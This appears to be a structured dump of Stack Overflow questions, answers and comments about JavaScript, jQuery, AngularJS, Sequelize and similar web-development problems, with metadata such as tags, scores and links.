has body: I'm trying to render a Youtube video after the user has submitted its URL with .focusout() $('#page_video').focusout(function(){ var video_url = $(this).val(); var video_id = youtubeLinkParser(video_url); renderVideo(video_id); // This is where I'd like to load video }); I am using the Youtube API and the code recommended here (also see below) // This code loads the IFrame Player API code asynchronously. var tag = document.createElement('script'); tag.src = "https://www.youtube.com/iframe_api"; var firstScriptTag = document.getElementsByTagName('script')[0]; firstScriptTag.parentNode.insertBefore(tag, firstScriptTag); // This function creates an &lt;iframe&gt; (and YouTube player) // after the API code downloads. var player; function onYouTubeIframeAPIReady(video_id) { player = new YT.Player('player', { height: $(window).height(), width: $(window).width(), videoId: video_id, playerVars: { 'autoplay': 0, 'controls': 0, 'loop': 1, 'showinfo': 0, 'modestbranding': 1 }, events: { 'onReady': onPlayerReady, 'onStateChange': onPlayerStateChange } }); } // The API will call this function when the video player is ready. function onPlayerReady(event) { event.target.playVideo(); event.target.mute(); } // The API calls this function when the player's state changes. // The function indicates that when playing a video (state=1), // the player should play for six seconds and then stop. var done = false; function onPlayerStateChange(event) { } function stopVideo() { player.stopVideo(); } How do I call the video to render on focusOut(), I haven't had any luck putting the Youtube API code in a function and calling it. Can this be done? Thanks
tagged with: javascript
has comment: http://stackoverflow.com/comment/40120145
score: 0
answer count: 1
tagged with: jquery

texturing
tag name: texturing
type: Tag
tags question: http://stackoverflow.com/q/25683875

http://stackoverflow.com/q/25633924
has answer: http://stackoverflow.com/a/43153003
has answer: http://stackoverflow.com/a/25634032
type: AnsweredQuestion
has title: HTML SELECT JS onchange() disable comment box
possible better answer: http://stackoverflow.com/a/43153003
accepted answer: http://stackoverflow.com/a/25634032
has body: This may be an absurdly easy question, but I'm new to JS. I would like to have a SELECT box allowing a person to indicate where they heard about the event they're registering for. There would be a comment box, disabled by default but if the user selects 'Other' in the SELECT option the comment box would become available. I am aware of onchange() but I don't know how to trigger a response in the separate form element. Any help?
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/40051081
score: 0
answer count: 2
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/comment/40151951
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/25689929
has text: Thank you Mindastic, but also dont works. I already try that before because I also found some people saying thay problem about "," at the end.

http://stackoverflow.com/q/25657069
tagged with: typeahead.js
has comment: http://stackoverflow.com/comment/40093057
has body: I'm trying to dynamically load jQuery and then dynamically load the Typeahead.js jQuery plugin. I'm able to load jQuery but the typeahead plugin doesn't seem to load. The first part of the code checks for jQuery and dynamically loads it if it doesn't exist. After jQuery has loaded, I'm attempting to load Typeahead using $.getScript which is used in the jQuery documentation to load jQuery plugins. However, the Typehead plugin doesn't seem to load as I'm getting errors when I try to call Bloodhound (the suggestion engine in Typeahead). I confirmed that the typeahead code shown below works by throwing it into a Rails app. When used with the jquery-rails gem and the asset pipeline, the typeahead code properly populates my input box with the JSON response. However, I can't rely on Rails and when I try to separate out the code, I am unable to dynamically load the libraries in the proper order. Any help would be greatly appreciated. (function() { // Localize jQuery variable var jQuery; /******** Load jQuery if not present *********/ if (window.jQuery === undefined) { var script_tag = document.createElement('script'); script_tag.setAttribute("type","text/javascript"); script_tag.setAttribute("src", "http://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"); if (script_tag.readyState) { script_tag.onreadystatechange = function () { // For old versions of IE if (this.readyState == 'complete' || this.readyState == 'loaded') { scriptLoadHandler(); } }; } else { // Other browsers script_tag.onload = scriptLoadHandler; } // Try to find the head, otherwise default to the documentElement var parentHead = (document.getElementsByTagName("head")[0] || document.documentElement) parentHead.insertBefore(script_tag, parentHead.firstChild); } else { // The jQuery version on the window is the one we want to use jQuery = window.jQuery; main(); } /******** Called once jQuery has loaded ******/ function scriptLoadHandler() { // Restore $ and window.jQuery to their previous values and s…
answer count: 1
tagged with: jquery
has answer: http://stackoverflow.com/a/25657225
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40093176
has comment: http://stackoverflow.com/comment/40093045
type: Question
has title: Dynamically load jQuery and then Typeahead.js
tagged with: javascript
score: 0

http://stackoverflow.com/q/25687865
has body: I am new to Angular.js and have tried to follow several tutorials to learn how to two-way bind contenteditable elements in an ng-repeat. I am using a shared 'store' between controllers, e.g. pushupsApp.factory('grids', function () { return [ ... { 'id': 1409875200000, // 2014-09-05 'sets': [ 5, 10, 15, 20, 25, 30 ] }, { 'id': 1409912060233, // 2014-09-05 11:14 'sets': [ 5, 10, 15, 20, 25, 30 ] } ]; }); pushupsApp.controller('indexController', function ($scope, grids) { $scope.grids = grids; }); This seems to work very well; if I change $scope.grids in one controller, that change is persistent in all others, until I refresh the page, of course. Following this tutorial and the examples in the Angular.js docs, I have the following controller and directive: pushupsApp.controller('gridController', function ($scope, $routeParams, $filter, grids) { var now = new Date(Date.now()); $scope.date = $filter('date')(now, 'yyyy-MM-dd'); $scope.grids = $filter('filter')(grids, {'id':$scope.date}, function (actual, expected) { return angular.equals($filter('date')(actual, 'yyyy-MM-dd'), $filter('date')(expected, 'yyyy-MM-dd')); }); }).directive('contenteditable', function () { return { restrict: 'A', require: 'ngModel', link: function (scope, element, attributes, ngModel) { ngModel.$render = function () { element.html(ngModel.$viewValue || ''); }; element.bind('keyup', function () { scope.$apply(function () { ngModel.$setViewValue(element.html); }); }); } }; }); The Problem My intention is that when I edit the contenteditable elements in an ng-repeat, $scope.grids updates too, mirroring the edit, upon the keyup event firing. $scope.grids isn't updating though. I've tried to research what might be happening myself but as I am so new to Angular.js, I honestly don't know what I should be looking for! Everything I have found suggests that my current code should work. For completeness, I have the following template too: Eventually, my 'store' will be persistent, but for now I am happy fo…
accepted answer: http://stackoverflow.com/a/25688574
type: AnsweredQuestion
score: 2
tagged with: angularjs-scope
type: Question
tagged with: angularjs-directive
has title: Update $scope when contenteditable Elements Change with Angular.js
downvote count: 0
tagged with: javascript
has answer: http://stackoverflow.com/a/25688574
answer count: 1
favorite count: 0
tagged with: contenteditable
tagged with: angularjs
upvote count: 2

http://stackoverflow.com/comment/40131906
has text: Yes Bram. Whole validation thing with the shaking effect.
comment on: http://stackoverflow.com/q/25678899
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/40087708
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25654187
has text: This might be a silly question as you might have a good reason for the quotes... but have you tried removing them? http://plnkr.co/edit/tOxov9wOVspXiQiF4P1W?p=preview
score: 0

http://stackoverflow.com/q/25565731
upvote count: 8
type: UnansweredQuestion
tagged with: sequelize.js
has body: I am trying to use Sequelize (1.7) with Postgresql (9.3) and trying to make use of schemas. I have created schemas externally in the database but making use of them in my models. When I am trying to do model associations, Sequelize complains that the relation doesn't exist. When I redefine the models to use the default "public" schema of PostgreSQL, it works fine. Here are the model definitions and code for the test case var Promise = require("bluebird"); var Sequelize = require("sequelize"); var _ = require('lodash-node'); var schemaName ="test_schema"; var sequelize = new Sequelize( c.database,c.username, c.password,{dialect :'postgres', port:'5432',schema:schemaName}); var User =sequelize.define('User',{ id:{ type: Sequelize.INTEGER,primaryKey:true, autoIncrement:true}, name:{type:Sequelize.TEXT,allowNull:false}, nick_name:{type:Sequelize.TEXT,allowNull:true}, date_of_joining:{type:Sequelize.DATE,allowNull:false,defaultValue:Sequelize.NOW} }, { tableName:"user", underscored:true, timestamps:false } ); var Task = sequelize.define( 'Task', { id:{ type: Sequelize.INTEGER,primaryKey:true, autoIncrement:true}, name:{type:Sequelize.TEXT,allowNull:false}, begin_time:{type:Sequelize.DATE,allowNull:false,defaultValue:Sequelize.NOW}, end_time:{type:Sequelize.DATE,allowNull:true} }, { tableName:"task", underscored:true, timestamps:false } ); User.schema(schemaName); Task.schema(schemaName); User.hasMany( Task, {as:"Tasks"}); sequelize.sync( {force:true}, {logging:console.log}) .then( function( args ){ var users =[ {name:"Abraham Milbard"}, {name:"Jimmy Quake"}, {name:"John Amayo"} ]; var tasks =[ {name:"Bring 100 apples by today evening"}, {name:"Do the dishes"}, {name:"Watch soap and weep"}, {name:"Bitch about your miserable life"} ]; User.create( users[0]) .success( function( usr ){ var chainer = new Sequelize.Utils.QueryChainer; var t1 = Task.build( tasks[0 ]), t2 = Task.build( tasks[1]); chainer.add(t1.save() ); chainer.add(t2.save() ); chainer.runSerially({ skipOnError…
tagged with: node.js
has title: Cannot associate models in a Schema (postgresql) using Sequelize
tagged with: orm
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/32025860
answer count: 1
downvote count: 0
favorite count: 0
score: 8

http://stackoverflow.com/a/25608796
answers question: http://stackoverflow.com/q/25608632
has comment: http://stackoverflow.com/comment/40006600
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40033832
type: Answer
has comment: http://stackoverflow.com/comment/40041570
has comment: http://stackoverflow.com/comment/40033985
has comment: http://stackoverflow.com/comment/40023290
has comment: http://stackoverflow.com/comment/40007461
has comment: http://stackoverflow.com/comment/40005109
score: 1
has comment: http://stackoverflow.com/comment/40004832
accepted answer of: http://stackoverflow.com/q/25608632
upvote count: 1
has body: Why you don't access directly to properties of the HTML generated elements at Javascript? Like for example ID or class or name or something else. Anyway if you'll like to access any var that comes from controller to Twig view you can do it as follow: &lt;script&gt; alert('{{ myvar }}'); &lt;/script&gt; Notice you are tying to access form_widget and that returns the complete HTML element, for example: &lt;input type="text" name="form[title]" id="form[title]" /&gt; and not the value of that input, take care of that. Second solution based on your comments Following your comments and your needs try this code instead: &lt;script&gt; $(document).ready(function(){ // I've to do it in this way since your button // has none class or id to use in jQuery selector // you should take care of that too $('input [type=submit]).on('click', function() { alert($('#ikproj_groupebundle_eventsgroupe_start').val()); }) }); &lt;/script&gt; A few things more: I made a typo, yes, but remember I'm trying to help you with some ideas, I'm not doing your work so the best you can do is try to understand my code and apply to yours As image shows you have Symfony datetime field so maybe my code won't work at all but give it a try

http://stackoverflow.com/comment/40109741
type: QuestionComment
type: Comment
has text: generic method is your solution , there is no static property .
score: 0
comment on: http://stackoverflow.com/q/25666213

http://stackoverflow.com/comment/40028907
type: AnswerComment
comment on: http://stackoverflow.com/a/25621261
type: Comment
score: 0
has text: I have checked with IE , Chrome and Firefox its working fine and requested once thank buddy :)

http://stackoverflow.com/comment/40035230
score: 0
has text: Basically $provide.decorator( '$http', [ "$delegate", function( $delegate ) {} ... inside, $delegate is the original $http.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25625249

http://stackoverflow.com/a/26030107
answers question: http://stackoverflow.com/q/25655998
downvote count: 0
score: 1
has body: look at (Windows + Firefox) http://www.ibiblio.org/e-notes/webcl/webcl.htm may be you need WebCL KHR_gl_sharing Extension for Linux?
type: Answer
has comment: http://stackoverflow.com/comment/40908741
upvote count: 1

http://stackoverflow.com/a/25691947
has comment: http://stackoverflow.com/comment/40158265
type: Answer
has body: In my opinion, onKeyUp is the better solution depending on the project. This is because you can give the user semi-instant indication of whether their input is valid or not(adding a green checkmark or a red "X" next to the input once they've finished typing), whereas, with onChange/blur, they do not see the validation until they tab out of the input. However, you obviously don't want it to validate immmediately on keyUp either, because it would be annoying, so I've found that the best way to address this is to use keyUp with a timer so that it doesn't validate until 1-2 seconds after they've stopped typing. You can do that like this: var doneTypingInterval = 1000; //Validation delay time in ms $('input').keyup(function(){ clearTimeout(typingTimer); typingTimer = setTimeout(validationFunction, doneTypingInterval); //replace validationFunction with the name of your function });
has comment: http://stackoverflow.com/comment/40156076
upvote count: 1
has comment: http://stackoverflow.com/comment/40155944
has comment: http://stackoverflow.com/comment/40155907
has comment: http://stackoverflow.com/comment/40156034
has comment: http://stackoverflow.com/comment/40156003
score: 1
answers question: http://stackoverflow.com/q/25691891
has comment: http://stackoverflow.com/comment/40155916
has comment: http://stackoverflow.com/comment/40156248
downvote count: 0

http://stackoverflow.com/a/25593018
has comment: http://stackoverflow.com/comment/39976548
has comment: http://stackoverflow.com/comment/39977985
type: Answer
upvote count: 3
accepted answer of: http://stackoverflow.com/q/25592952
score: 3
answers question: http://stackoverflow.com/q/25592952
has body: You can use querySelector and the css 'starts-with' attribute selector for this: var p1 = document.querySelector('.p1'), titleChild = p1.querySelector('[id^="title"]');
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/25639097
tagged with: javascript
tagged with: touch
score: 0
tagged with: http://stackoverflow.com/tag/html
answer count: 1
type: UnansweredQuestion
tagged with: internet-explorer
has title: Bind touch events and avoid scrolling in Internet Explorer (11)
has body: I have problem with touch events in IE. Here is my example: fiddle example (scroll bottom right box to down) http://jsfiddle.net/bordeux/78fez12m/2/ When i use Internet Explorer and i want draw line from top to bottom, all page is scrolling. How can i stop scrolling webpage, when user is drawing on canvas?
type: Question
tagged with: canvas
has answer: http://stackoverflow.com/a/27309280

http://stackoverflow.com/a/25671714
type: Answer
has comment: http://stackoverflow.com/comment/40118921
has comment: http://stackoverflow.com/comment/40119012
accepted answer of: http://stackoverflow.com/q/25671621
answers question: http://stackoverflow.com/q/25671621
score: 0
has body: Wrap any code you wish to re-bind in this: //declare global variable var windowWidth = ""; $(window).resize(function() { windowWidth = $(window).width(); if (windowWidth &lt; 768) { //change element size } else if (windowWidth &gt;= 768 || windowWidth &lt; 1000) { //change element size again } else { //change element size again } });
has comment: http://stackoverflow.com/comment/40119115
type: AcceptedAnswer

http://stackoverflow.com/comment/39970690
comment on: http://stackoverflow.com/q/25589994
score: 0
type: Comment
type: QuestionComment
has text: True. The reason is that this only represent the persisted state. In my application there are two states (free and occupied), and there will be some ajax to change between the states. By having this done by javascript, I hope to avoid duplicating the html for the two states.

http://stackoverflow.com/q/25608721
accepted answer: http://stackoverflow.com/a/25627983
tagged with: preloadjs
has title: Unable to preload and display SVG with CreateJS
favorite count: 0
has answer: http://stackoverflow.com/a/25627983
possible better answer: http://stackoverflow.com/a/37242996
has body: I am trying to preload a set of SVG objects and display them using CreateJS/PreloadJS. So far I was able to display a SVG object without preloading, but as soon as I use the LoadQueue from PreloadJS, I can't get my sample to work. Does somebody know what I am doing wrong here? Thanks! http://jsfiddle.net/trudeo/05eqqp49/ Javascript var imageManifest = [ { id: "MySvgImage", src: "http://dev.w3.org/SVG/tools/svgweb/samples/svg-files/check.svg" } ]; var stage = new createjs.Stage(document.getElementById('gameCanvas')); var assetQueue = new createjs.LoadQueue(true); assetQueue.loadManifest(imageManifest); assetQueue.on('complete', complete); function complete(e) { // DOESN'T WORK var svgImage = new createjs.Bitmap(assetQueue.getResult('MySvgImage')); stage.addChild(svgImage); // WORKS var svgImage2 = new createjs.Bitmap("http://dev.w3.org/SVG/tools/svgweb/samples/svg-files/circles1.svg"); stage.addChild(svgImage2); stage.update(); createjs.Ticker.setFPS(40); createjs.Ticker.addListener(tick); } function tick() { stage.update(); } HTML
type: AnsweredQuestion
score: 3
downvote count: 0
type: Question
answer count: 2
tagged with: javascript
has answer: http://stackoverflow.com/a/37242996
tagged with: createjs
upvote count: 3

http://stackoverflow.com/q/25554113
tagged with: javascript
answer count: 2
tagged with: mithril.js
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/25569042
type: UnansweredQuestion
has title: Can't launch lightbox from miithril View
upvote count: 1
has body: I'm new to Mithril and trying to wrap my head around this issue. I have a view that creates a DOM element and has a onClick method declared. Unfortunately when I tried to launch a lightbox such as magnificPopup, jqueryui dialog, fancybox or you name it, it calls the method undefined, even though the lightbox library is loaded. Is this an issue with Mithril? Here is my code: m('a.view-link', { onclick: function() { $.colorbox(); // this fails alert('here is the code'); // alerts do work $('.view-link').css('border', '2px solid red'); // this works // $('.white-popup').magnificPopup({ // this claims .magnificPopup is undefined // type:'inline', // midClick: true // }); // $('#dialog').dialog('open'); //jqueryUI dialog claims that .dialog is undefined }, href: '#' } , ' Show link in lightbox')
has answer: http://stackoverflow.com/a/25634301
type: Question
score: 1

http://stackoverflow.com/comment/40167472
comment on: http://stackoverflow.com/a/25697265
score: 0
type: Comment
has text: @Radim_Köhler this is a big improvement, one last thing: when you click twice on the "Route 2" the tab content disappear.
type: AnswerComment

http://stackoverflow.com/q/25609101
tagged with: javascript
has body: When I click a certain link I want the background-image to fadeOut, change to another image and then fadeIn. The code I have: $('.link').on('click',function(){ var image = $(this).data('image'); $('#div-with-the-bgimage').css('background-image', 'url('+image+')'); }) I tried this: $('.link').on('click',function(){ var image = $(this).data('image'); $('#div-with-the-bgimage').fadeOut('3000').fadeIn('3000').css('background-image', 'url(' + image + ')'); }) but this didn't work, what am I doing wrong? (I'm new to jQuery) EDIT: I solved this with Rory McCrossan answer: $('.link').on('click',function(){ var image = $(this).data('image'); $('#div-with-the-bgimage').fadeOut('3000', function() { $(this).css('background-image', 'url('+image+')').fadeIn('3000'); }); }); But now this fadesOut to a white background and and then fadesIn to the image, giving a sensation of a flash? Is there a way to load the image before?
answer count: 3
upvote count: 1
tagged with: jquery
favorite count: 0
possible better answer: http://stackoverflow.com/a/25609489
tagged with: fadein
has answer: http://stackoverflow.com/a/25609489
tagged with: css
has answer: http://stackoverflow.com/a/25609896
type: AnsweredQuestion
downvote count: 0
has title: jQuery fadeOut and fadeIn background-image
score: 1
tagged with: background-image
type: Question
has answer: http://stackoverflow.com/a/25609116
accepted answer: http://stackoverflow.com/a/25609116

http://stackoverflow.com/comment/46543797
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/29133808
has text: You can get your data by calling data without the "data-" and converting the rest to lower camel case. But in your case using getAttribute on target or currentTarget (without jQuery) is better. I think that method goes back to IE 5.
score: 0

http://stackoverflow.com/q/25711585
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/40192099
has comment: http://stackoverflow.com/comment/40192813
has comment: http://stackoverflow.com/comment/40192161
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40192088
has comment: http://stackoverflow.com/comment/40192444
has comment: http://stackoverflow.com/comment/40192146
has comment: http://stackoverflow.com/comment/40192346
has comment: http://stackoverflow.com/comment/40192397
has comment: http://stackoverflow.com/comment/40192574
has comment: http://stackoverflow.com/comment/40192747
has answer: http://stackoverflow.com/a/25711649
has comment: http://stackoverflow.com/comment/40192717
has answer: http://stackoverflow.com/a/25712660
tagged with: twitter-bootstrap
score: 0
type: UnansweredQuestion
has title: Js Change input color
has body: Using bootstrap, I need to change, if there's an error like this, to show the inputfield as red. with the placeholder..THe place holder is ready but I wanna mark the field as red (using bootstrap).. This is the JS if (data['valid'] != "true") { if(data['path_error']) { oRow.children('#path_td').attr( 'data-container', 'body') .attr( 'data-toggle', 'popover') .attr( 'data-placement', 'top') .attr( 'data-content', data['path_error']) .attr( 'data-class', 'bg-danger') .popover('show'); } EDIT: this is the HTML &lt;td id="path_td"&gt;&lt;input type="text" class="form-control input-sm" name="path" value="&lt;?= $oRoute-&gt;getPath(); ?&gt;"/&gt;&lt;/td&gt;
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/40192875

http://stackoverflow.com/q/25651237
favorite count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40082263
has title: How to convert a base64 dataUri to Uint8ClampedArray without using HTML5 Canvas?
has comment: http://stackoverflow.com/comment/40084469
has comment: http://stackoverflow.com/comment/40082252
has body: I am working on a project where I need to convert a base64 dataUri to Uint8ClampedArray without using HTML5 Canvas. This is what I have came up with but I think the Uint8ClampedArray doesn't represent the pixel table. function dataUri2Array(uri){ b64 = uri.slice(uri.indexOf(',')+1); str = atob(b64); arr = str.split('').map(function (e) {return e.charCodeAt(0);}); u = new Uint8ClampedArray(arr); return u; },
upvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/40083955
linked to: http://stackoverflow.com/q/51948472
tagged with: canvas
has answer: http://stackoverflow.com/a/25651750
tagged with: javascript
has comment: http://stackoverflow.com/comment/40084278
tagged with: http://stackoverflow.com/tag/html
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/40081908
has comment: http://stackoverflow.com/comment/40082293
score: 1
has comment: http://stackoverflow.com/comment/40082431

http://stackoverflow.com/q/25582940
has answer: http://stackoverflow.com/a/25583792
has body: This is a link to my website template which i am designing i want the next div to be appeared smoothly but when i scroll fast it shows borders of div!! This is a (http://jsfiddle.net/kailash8591/329cos9y/embedded/result/) Here is the reference site i am trying to follow design!! chameleon How can i achieve this using jQuery? $(function () { $(".wrapper").scroll(function () { var height = $(".active").height(); if ($(".wrapper").scrollTop() > (height - 400)) { //alert("wrapper content "+$(".wrapper content").scrollTop()); //ert("height of wrapper"+height); $(".active").animate({ 'opacity': 0 }, 'slow'); $next = $(".active").next(); $next.addClass('active'); $next.siblings().removeClass('active') $prev = $next.prev(); $next.animate({ 'opacity': 1 }, 'slow'); } }); }); logo Click Online Services Company Brief 3 click online services is a leading Solutions Provider, implementing technology and design to deliver the best in time. Founded with an aim to revamp end user's perception of the Web. Industry and still growing, 3 click online services have added a whole new dimension to Web Development and Design. 3 click online services is not just limited his boundaries to Web development but also Software Development Logo Designing etc. 3 click online services are a bunch of passionate people working round the clock to bring that 'smile-of-content' on your face. We stay a step ahead of your expectations, upholding high and professional standards of work. With our technical expertise at play, all our solutions are tailor-made to suite your business needs. Our core team of developers, programmers and artists are dedicated to offering business class services with a touch of compassion. Talking about clients, our relationships do not end with deployment. Companies Services Logo Designing 3 click online services provide an artistic creation of logos. Web Designing and Development 3 click online services solution provides a broad range of web design services from static html websit…
tagged with: javascript
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25583174
score: 0
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/39957678
has comment: http://stackoverflow.com/comment/39957757
tagged with: css
type: AnsweredQuestion
has title: How to create stack of divs and display on scroll dynamically?
has comment: http://stackoverflow.com/comment/39957718
type: Question
has answer: http://stackoverflow.com/a/25583174
answer count: 2
possible better answer: http://stackoverflow.com/a/25583792

http://stackoverflow.com/a/25609501
accepted answer of: http://stackoverflow.com/q/25609407
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25609407
type: Answer
has body: Your code does not work, becouse you selector is wrong, try: $(".bbb").focus(function () { var row_id = this.id; alert(row_id); }); LIVE DEMO
score: 0

http://stackoverflow.com/q/25559776
has comment: http://stackoverflow.com/comment/39914142
has answer: http://stackoverflow.com/a/58066716
upvote count: 1
has body: I'm a beginner to Javascript and I have a basic question about how to use the prompt method. None of the code seems to process below. Is there some sort of hidden rule about using multiple prompt boxes or does my code just have a syntax error? Any help would be much appreciated. Thanks in advance. Two Numbers
has answer: http://stackoverflow.com/a/25559835
score: 1
type: Question
has title: Prompt() method in Javascript
downvote count: 0
tagged with: javascript
answer count: 3
has answer: http://stackoverflow.com/a/25559829
favorite count: 0
has comment: http://stackoverflow.com/comment/39914285
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39914122

http://stackoverflow.com/q/25558583
has comment: http://stackoverflow.com/comment/39912307
answer count: 1
downvote count: 0
tagged with: jquery
favorite count: 0
tagged with: slider
has body: I was trying to create a simple custom JavaScript slider with my own assets. I've done quite some research but found it was a bit hard to find the correct css/js attributes to change in order to create the custom slider. After some investigations, I used jquery ui to implement one. Hopefully it's useful to some people.
score: 1
has answer: http://stackoverflow.com/a/25558584
upvote count: 1
has title: A simple custom JavaScript slider?
type: Question
type: AnsweredQuestion
tagged with: jquery-ui
accepted answer: http://stackoverflow.com/a/25558584
tagged with: javascript
tagged with: custom-controls

http://stackoverflow.com/q/25573781
favorite count: 0
has comment: http://stackoverflow.com/comment/39940920
has answer: http://stackoverflow.com/a/25573911
has comment: http://stackoverflow.com/comment/39941349
has comment: http://stackoverflow.com/comment/39941607
has title: Trying to create tables from JSON with multiple "table" blocks
upvote count: 1
has body: Good afternoon. What I am trying to accomplish is to create tables using the JSON that has been sent to me. If the JSON file contains a single block for a table, it all works fine. Multiple tables are an issue though. Below is an example of the JSON with data for two tables and the JS that I have so far to build the table into the HTML that I have also included. Any insight will be much appreciated. Thank you in advance [ { "table": { "tableDetails": [ { "filecreatedate": "8/28/2014 10:43:08 AM", "Name": "Personal Loans", "PrintUrl": "print friendly url here", "EffectiveDate": "3/7/2014", "disclosure": "disclosure " } ], "headers": [ { "Header1": "Personal Loans", "Header2": "Loan Amount", "Header3": "Fee", "Header4": "APR", "Header5": "Calculator" } ], "columns": [ { "PersonalLoans": "VISA Platinum Rewards", "LoanAmount": "$1000 - $25,000", "Fee": "$0.00", "APR": "9.15%", "Calculator": "&lt;a href='#'&gt;&lt;img src='img/calc.gif' alt='Calculator' /&gt;&lt;/a&gt;" }, { "PersonalLoans": "VISA Platinum Low Rate", "LoanAmount": "$500 - $25,000", "Fee": "$0.00", "APR": "8.15%", "Calculator": "&lt;a href='#'&gt;&lt;img src='img/calc.gif' alt='Calculator' /&gt;&lt;/a&gt;" }, { "PersonalLoans": "Cash-in-a-Flash", "LoanAmount": "$500 [1]", "Fee": "$30.00", "APR": "17.90%", "Calculator": "&lt;a href='#'&gt;&lt;img src='img/calc.gif' alt='Calculator' /&gt;&lt;/a&gt;" }, { "PersonalLoans": "Lifestyle Loan", "LoanAmount": "$500 - $5000", "Fee": "$0.00", "APR": "10.99%", "Calculator": "&lt;a href='#'&gt;&lt;img src='img/calc.gif' alt='Calculator' /&gt;&lt;/a&gt;" } ] } }, { "table": { "tableDetails": [ { "filecreatedate": "8/28/2014 10:43:34 AM", "Name": "Fixed Rate Second Mortgage", "PrintUrl": "print friendly url here", "EffectiveDate": "5/1/2014", "disclosure": "disclosure text" } ], "headers": [ { "Header1": "Loan Amount", "Header2": "APR LTV &lt;=80%", "Header3": "APR LTV 80.01-90%", "Header4": "Note", "Header5": "Calculator" } ], "columns": [ { "Loan Amount": "$50,000+", …
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25573911
has comment: http://stackoverflow.com/comment/39941318
score: 1
tagged with: http://stackoverflow.com/tag/json
type: Question
downvote count: 0
answer count: 1
tagged with: javascript

http://stackoverflow.com/a/25557399
upvote count: 1
downvote count: 0
type: Answer
has body: i guess the problem is in var a, its not calling the textbox which it is supposed to call, check it using console in the browzer and type a in the console, if it doesnt return the text field just remove that form[0] and try. All the best.:)
score: 1
answers question: http://stackoverflow.com/q/25557130

http://stackoverflow.com/comment/40140585
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25683697
has text: @cameron yes , i can get it as string, can you show me sample?

http://stackoverflow.com/q/25697006
has comment: http://stackoverflow.com/comment/40177630
has answer: http://stackoverflow.com/a/25698985
type: AnsweredQuestion
score: 1
type: Question
tagged with: graph
upvote count: 1
answer count: 1
tagged with: flot
tagged with: javascript
tagged with: jquery
has body: I have a Flot graph which I am trying to make it so that when you click a particular legend item it makes that data disappear from the chart. I am having limited success in getting this to work. I've gotten as far as being able to click a legend item and a series line is removed, but not the points, and it appears to be the wrong line data as well. Any help on this would be really appreciated :) var Graphs = function () { return { //main function initCharts: function () { if (!jQuery.plot) { return; } function showChartTooltip(x, y, xValue, yValue) { $('&lt;div id="tooltip" class="chart-tooltip"&gt;' + yValue + '&lt;\/div&gt;').css({ position: 'absolute', display: 'none', top: y - 40, left: x - 40, border: '0px solid #ccc', padding: '2px 6px', 'background-color': '#fff' }).appendTo("body").fadeIn(200); } if ($('#site_revenue').size() != 0) { //site revenue var previousPoint2 = null; var plot_statistics = null; var data = []; togglePlot = function(seriesIdx) { var previousPoint2 = plot_statistics.getData(); previousPoint2[seriesIdx].lines.show = !previousPoint2[seriesIdx].lines.show; plot_statistics.setData(previousPoint2); plot_statistics.draw(); } $('#site_revenue_loading').hide(); $('#site_revenue_content').show(); var data = [{ label: "Gross Revenue", color: ['#44b5b1'], points: { fillColor: "#44b5b1" }, data: [ ['Sep', 264.41], ['Aug', 6653.98], ['Jul', 921.35], ['Jun', 937.00], ['May', 1839.25], ['Apr', 1561.96], ['Mar', 2289.62], ['Feb', 2661.91], ['Jan', 6021.44], ['Dec', 4129.21], ['Nov', 0.00], ['Oct', 2865.28], ], idx:1 },{ label: "Tax", color: ['#8fc2ed'], points: { fillColor: "#8fc2ed" }, data: [ ['Sep', 0.00], ['Aug', 2865.28], ['Jul', 2661.91], ['Jun', 6653.98], ['May', 6021.44], ['Apr', 0.00], ['Mar', 2289.62], ['Feb', 1561.96], ['Jan', 921.35], ['Dec', 937.00], ['Nov', 1839.25], ['Oct', 4129.21] ], idx: 2 }]; var plot_statistics = $.plot($("#site_revenue"), data, { series: { lines: { show: true, fill: 0.2, lineWidth: 0, fill: false, lineWidth: 3 }, s…
has title: Hide Series on Click with jQuery Flot
accepted answer: http://stackoverflow.com/a/25698985
favorite count: 0
downvote count: 0

http://stackoverflow.com/comment/40048880
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25632702
has text: The way you've got is working? What's the problem?

http://stackoverflow.com/a/25556185
type: Answer
answers question: http://stackoverflow.com/q/25555611
upvote count: 1
has comment: http://stackoverflow.com/comment/39908249
score: 1
has body: Assuming you're building your JSON/JSONP response correctly, which you could test from a web browser and the same JS code, make sure you're setting the proper headers in the response (REST.php): header('Content-Type: application/json'); header('Access-Control-Allow-Origin: *'); The Access-Control-Allow-Origin will let you request your data from outside the originating server. Which is I guess the problem you're having. Also, having the wrong response encoding might cause your Ajax call to fail. Again, you should be able to debug your errors (if any) in the browser's console, just making the same call your app is trying to run. Double check that the response is valid.
downvote count: 0

http://stackoverflow.com/q/25663683
has comment: http://stackoverflow.com/comment/40144653
downvote count: 1
type: Question
upvote count: 9
has answer: http://stackoverflow.com/a/25664054
has comment: http://stackoverflow.com/comment/40144608
tagged with: split
answer count: 3
linked to: http://stackoverflow.com/q/16261635
has title: Javascript split by spaces but not those in quotes
